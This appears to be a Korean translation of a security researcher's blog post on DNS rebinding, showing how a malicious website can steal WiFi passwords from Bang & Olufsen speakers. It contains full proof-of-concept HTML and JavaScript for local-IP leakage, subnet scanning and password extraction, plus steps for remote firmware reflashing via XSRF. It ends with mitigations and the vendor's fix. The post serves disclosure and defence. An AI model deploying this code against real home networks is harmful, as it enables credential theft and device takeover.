원제: The power of DNS rebinding: stealing WiFi passwords with a website
DNS 리바인딩 요약
DNS 리바인딩 공격은 오래 전부터 공격자들에게 Same-origin policy를 우회하는 쓸만한 공격 기법으로 알려져있었어요. 이 공격은 DNS의 기능을 악용해서, 페이지의 내용을 전송한 다음 웹 사이트의 IP를 바꿔치기합니다. 보통은 추가적으로 자바스크립트를 이용해서, DNS 캐시가 효과가 떨어질때까지 기다린 다음 같은 호스트로 요청을 보내게 해요. 그러면 브라우저는 당연하게도 같은 호스트로 요청을 보내는 줄 알겠죠. 사실은 공격자가 IP를 바꿔버렸지만요. 따라서 공격자는 내부 인터넷 서비스에 접근한다던지, 그걸 또 외부에 보낸다던지, 아니면 생각나는 다른 것을 할 수 있겠죠.
이미 쓸만한 PoC 코드가 존재하고 이걸 막는 기법이 있다 해도 배포하기가 힘든데다, 항상 효과적인 것은 아니에요. (DNS pinning is not a panacea 문서와, dnswall이 DNS 응답에서 내부 IP만을 차단한다는 것을 따져보면, 이는 일부 공격만을 막을 수 있다는 것을 알 수 있습니다).
실제로 적용해보기: WiFi 패스워드 탈취
혹시 가정망에서 Bang & Olufsen 스피커를 하나 쓸 기회가 되었나요?
이거 참 좋은 소식인데요. 이 기기는 이더넷이나 WiFi를 통해서 가정망에 연결을 하죠. 처음에 플러그인 했을 때 패스워드를 저장하고, 이쁘게 생긴 웹 인터페이스도 있답니다.
WiFi 비밀번호는, 당연하게도 암호화되지 않고 저장됩니다. 하지만 여기서 더 흥미 로운 것은 이게 인증을 거치지 않은 채로 접근할 수 있는 페이지에서 제공된다는 점이죠. /1000/Bo_network_settings.asp 에서요. (로그인은 필요로 하지 않아요) 이건 로컬 네트워크에서 웹페이지를 방문만 하는 것으로도 비밀번호를 볼 수 있다는 게 되요. 큰 문제는 안되죠. LAN으로 인한 보안적인 경계랑 브라우저에서 어떤 사이트가 다른 사이트로 요청을 하지 못하게 하는 Same-origin policy를 생각해보면요.
이 때가 바로 DNS rebinding이 등장할 시점이죠.
일단 해킹할 대상인 사람이 공격자가 준비한 웹사이트를 방문해요. attacker.com 이라고 해보죠. 이 도메인이 TTL이 엄청 짧은, 그러니까 60초정도 된다고 해봐요. 이 웹사이트는 A 레코드를 가지고있죠. HTML 페이지에는 자바스크립트 코드를 담아주고요. WebRTC를 악용해서 사설 IP를 유출시킨다던가.. 하는 그런거요. 그리고 이 내부 IP를 통해 (같은 서브넷 대역에서 말이죠.) Bang & Olufsen 장치를 스캐닝하기 시작하는거에요. 제가 작성한 PoC 코드에서는 이미지 태그를 자동으로 생성했다 지우면서 어떤 IP 주소가 보통 Bang & Olufsen 기기에 있는 파일인 /images/BO_processing_grey.gif를 가지고 있는지 찾아봐요. 이미지가 찾아지면 스캐닝을 중간하고 이제 실제로 쓸 DNS 리바인딩을 시작하는거에요.
이제 Bang & Olufsen의 내부 IP를 알고, (예시로 192.168.1.10 이라고 해보죠) 그 내부 IP를 공격자가 가지고 있는 시스템에 전송해요. 그러면 이제 공격자는 이 웹사이트의 DNS 레코드를 192.168.1.10 으로 변경하는거죠. 그 동안 클라이언트 쪽의 자바스크립트 페이로드는 대기를 할거에요. 실력있는 공격자라면 게임을 사이트에 놓던 재밌는 장문의 글을 놓던 해서 공격 대상자가 그 사이트에 조금 오래 있도록 하겠죠. 1분이 지나고, 이제 스크립트가 http://attacker.com/1000/Bo_network_settings.asp 에 요청을 보내서 응답을 받으려고 시도할거에요. DNS 캐시가 유효하지 않으니, 브라우저는 새로 DNS 요청을 보낼거고요, 이제 attacker.com 은 192.168.1.10 을 가리키겠죠. 하지만 브라우저는 같은 호스트로 요청을 보내는 줄 알테니까요. 말 그대로 Same-origin 이니까, 기쁜 마음으로 응답을 얻어옵니다.
빙고.
전체 소스코드는 GitHub 저장소에서 얻을 수 있어요.
HTML 페이지:
<html> <head> <title>DNS Rebinding demo for Bang & Olufsen devices</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="malicious.js"></script> <style type="text/css"> body { font-family: Helvetica; } #container { display: none; } #ip_msg { font-weight: bold; font-size: 20px; color: red; } </style> </head> <body> <p id="ip_msg"></p> <div id="container"></div> </body> </html>
Javascript 페이지:
var last_octet = 1; function rtcGetPeerConnection() { var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; if (!RTCPeerConnection) { var iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); var win = iframe.contentWindow; window.RTCPeerConnection = win.RTCPeerConnection; window.mozRTCPeerConnection = win.mozRTCPeerConnection; window.webkitRTCPeerConnection = win.webkitRTCPeerConnection; RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; } if (typeof RTCPeerConnection === 'undefined') return; return RTCPeerConnection; } // WebRTC detection code taken from http://ipleak.net/static/js/index.js function rtcDetection() { var ip_dups = {}; var RTCPeerConnection = rtcGetPeerConnection(); var mediaConstraints = { optional: [{ RtpDataChannels: true }] }; var servers = undefined; // Add the default Firefox STUN server for Chrome if (window.webkitRTCPeerConnection) servers = { iceServers: [{ urls: "stun:stun.services.mozilla.com" }] }; var pc = new RTCPeerConnection(servers, mediaConstraints); // Listen for candidate events pc.onicecandidate = function(ice) { if (ice.candidate) { var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr_arr = ip_regex.exec(ice.candidate.candidate); if (ip_addr_arr && ip_addr_arr.length > 0) { var ip_addr = ip_addr_arr[1]; } else return; // Remove duplicates if (ip_dups[ip_addr] === undefined) { if (ip_addr.startsWith("192.168")) { findBOLocalIP(ip_addr); } } ip_dups[ip_addr] = true; } }; pc.createDataChannel(""); pc.createOffer(function(result) { pc.setLocalDescription(result, function() {}, function() {}); }, function() {}); } function findBOLocalIP(clientLocalIP) { var ip_minus_last = clientLocalIP.substring(0, clientLocalIP.lastIndexOf('.')); $('#ip_msg').text("Your local IP is " + clientLocalIP + ", scanning " + ip_minus_last + ".x subnet..."); // Try a /24 scan with 192.168.y.<i> with the exfiltrated y setInterval(function() { if (++last_octet < 255) { $("<img>", { src: "http://" + ip_minus_last + "." + last_octet + "/images/BO_processing_grey.gif", id: ip_minus_last + "." + last_octet, }) .bind('load', function() { console.log("Found: " + this.id); exfiltrateWiFiPassword(this.id); }).appendTo($('#container')); } }, 500); // Force to terminate stalled connections in order to avoid connection limit setTimeout(function() { setInterval(function() { $('#container').find(':first-child').unbind('load').attr('src', 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=').remove(); }, 500); }, 5000); } // Alternatively, you could get /1000/bo_restart_in_bsl.asp to trigger a // restart in BSL mode, wait 30 seconds and upload your own firmware // in /1000/bl_firmware_update.asp POSTing to // /goform/formPostHandler a "uploadForm" form with a "appFirmware" file // with enctype="multipart/form-data". No XSRF protection. function exfiltrateWiFiPassword(ip) { // Send internal IP "ip" to the attacker: we need to change // the IP address of this attacker-controlled domain to the // B&O internal IP. // // THIS PART HAS NOT BEEN IMPLEMENTED BECAUSE IT IS NOT NECESSARY // FOR DEMONSTRATION PURPOSES. console.log("Exfiltrating WiFi password from " + ip + "..."); $('#ip_msg').text("B&O device found at " + ip + "!").fadeIn(); // Stop running scan... last_octet = 255; var WiFiPassword; // Wait 70 seconds (60 seconds for cache invalidation + 10 grace seconds) // and connect to the attacker-controlled host with the new IP. setTimeout(function() { var interval = setInterval(function() { $.get("/1000/Bo_network_settings.asp" + '?dummy=' + Math.random(), function(data) { var start = data.lastIndexOf('top: -100px; display: none">'); if (start == -1) { return; } WiFiPassword = data.slice(start + 28); WiFiPassword = WiFiPassword.slice(0, WiFiPassword.indexOf('<')); alert('Password WiFi: ' + WiFiPassword); $('#ip_msg').text("WiFi password found: " + WiFiPassword); clearInterval(interval); }); }, 5000); }, 70000); } $(document).ready(rtcDetection);
이 코드는 최신 크롬에서 테스트해봤구요, Opera를 제외한 대부분의 브라우저에서 동작할거에요.
alert box에 WiFi 비밀번호를 보여주고있어요.
조금 더 해보기: 원격 펌웨어 업로드
웹 인터페이스를 둘러보다보니, XSRF 공격이 펌웨어 업로드 페이지에 되겠더라구요. 공격자가 원격으로 장치를 리플래시하기 위해서 해야 되는 것은 /1000/bo_restart_in_bsl.asp 를 방문해서 기기를 BSL 모드로 부팅하도록 하고, 30초를 기다린 다음 /1000/bl_firmware_update.asp 에서 uploadForm 폼의 appFirmware 파일 입력에 커스텀 펌웨어를 담아서 /goform/formPostHandler 로 POST 요청을 날리는 것만 하면 되요.
이건 그러니까 DNS rebinding 을 안하고도 XSRF 취약점으로 원격에서 펌웨어를 리플래시 할 수 있다는 게 됩니다. 아마도 이걸 방지하기 위해서 signature verification 의 한 종류가 있을지도 몰라요.
미티게이션
임베디드 기기를 만드시는 분들은 DNS rebinding의 위험성에 대해 인지하고 있어야 합니다. 브라우저에서 이 공격을 막기는 힘드니, 미리 경고를 해야겠죠.
웹 서버에서는 Host 헤더를 체크해야될거고요, 특히 로컬 네트워크에서 상주하는 장치들에서는요. 아마 까다로울 수 있어요, 일부 설정을 작동 안하게 만들 수도 있어요.
네트워크 관리자들은 dnswall로 DNS 응답에서 IP를 필터링 할 수 있을거에요. 아니면 이런 필터링이 이미 적용된 외부 DNS(OpenDNS 등)를 쓰고 싶을 수도 있어요.
제 생각에 B&O 기기를 위한 가장 좋은 해결책은 그냥 WiFi 비밀번호를 /1000/Bo_network_settings.asp 에 노출하지 않는 거에요. (input type=password 로 지정되어있으니까 사용자한테 가려져있긴 해요!) 아니면 signature verification이 없다면 펌웨어 업로드에 signature verification을 넣는거에요.
결론
DNS rebinding 공격은 실용적이고, 진짜 존재하고, 사용자를 보호하기 위해서 미티게이션으로는 적절하게 공격을 막지 않을 수 있어요. 이런 공격이 널리 퍼진 보안성이 취약한 임베디드 기기와 합쳐지면 대규모 공격을 할 수 있죠.
감사의 말씀
PoC 코드를 짜는 데 도움을 주신 Stephen R. 과 Sebastian L. 에게 고마움을 전합니다.
5월 13일자 추가 내용:
Bang & Olufsen 측에서 업데이트를 보내줬어요. 필요한 작업을 거쳐서 BeoPlay A9 에 대한 업데이트된 소프트웨어를 릴리즈했습니다. 장치에 대한 소프트웨어는 인터넷을 통하는 BeoSetup App 을 통해 쉽게 업데이트를 할 수 있고요. 이 이슈는 설정 웹 페이지에서 전송할때 민감한 정보를 빼는 것으로 해결이 되었습니다. 이렇게 해서 클라이언트에 WiFi 패스워드가 저장된 정보는 전송되지 않을거에요.